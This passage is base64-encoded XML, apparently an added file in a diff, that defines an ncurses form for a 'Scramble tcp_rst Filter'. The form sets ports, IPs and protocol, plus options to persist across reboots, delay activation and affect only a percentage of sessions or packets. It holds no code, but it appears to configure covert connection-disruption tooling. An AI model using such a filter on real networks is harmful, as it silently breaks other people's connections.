+ICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAg
+ICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1h
+bmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAg
+IDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzc8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3Rh
+cnQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4x
+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1i
+bGVfY3JlYXRlX2F0dHJpYl84PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVs
+PkVuZCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0
+aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJp
+YnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0KICAg
+ICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFyYW1l
+dGVycz4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAgICA8
+Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX3BhcmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+
+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1
+ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8
+aGVscHRleHQ+RW5hYmxlcyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+ICA8cGFyYW1ldGVyIGZsYWc9InBzIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFs
+c2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJh
+bV9wczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGUg
+dGhlIGZpbHRlciB0byBzdXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAg
+PC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJh
+bWV0ZXIgZmxhZz0iciI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNl
+c2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnBy
+ZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4xMDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0aWNh
+bGx5IHJlLWVuYWJsZSB0aGUgZmlsdGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1l
+dGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAgIDxj
+YXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNl
+aWQ+c2NyYW1ibGVfcGFyYW1fdGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+VGltZSBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0
+aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgICA8aGVscHRleHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4gIFRo
+ZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNp
+ZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNt
+IDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1
+cnNlbGFiZWw+VGltZSBEdXJhdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFmZmVj
+dGVkIGJ5IGZpbHRlci4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBv
+bmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vj
+b25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9InNkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRp
+dmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMzwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lvbnMg
+dG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3M8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQZXJj
+ZW50YWdlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3Np
+emU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4xNDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4
+dD5QZXJjZW50YWdlIG9mIHNlc3Npb25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAg
+ICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0
+aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1i
+bGVfcGFyYW1fc208L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFNl
+c3Npb25zPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3Np
+emU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4xNTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4
+dD5NYXhpbXVtIG51bWJlciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRl
+cm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0KICAg
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWxhYmVsPlBhY2tldCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAg
+IDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAg
+ICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+
+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwv
+cHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4NCiAg
+ICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJlZm9y
+ZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9InAiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNp
+dGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVp
+bnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjE3PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2Yg
+cGFja2V0cyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0
+ZXIgZmxhZz0icG0iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50
+MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+ODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBv
+ZiBwYWNrZXRzIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4
+dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4N
+CiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9kaXI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5UaGUgZGlyZWN0aW9uIGluIGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQgdGhp
+cyBmaWx0ZXIgYXBwbGllcyB0by4gIElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0aW9u
+IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlvbnMg
+ZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3NlIGZy
+b20gdGhlIHNlcnZlci48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4N
+CiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAg
+ICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5T
+Y3JhbWJsZSB0Y3BfcnN0IEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAg
+ICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29s
+dW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L2Vs
+ZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwv
+ZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8z
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+XzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvZWxlbWVu
+dD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L2Vs
+ZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwv
+ZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVs
+ZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3Bh
+cmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29s
+dW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxz
+ZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9lbGVtZW50
+Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
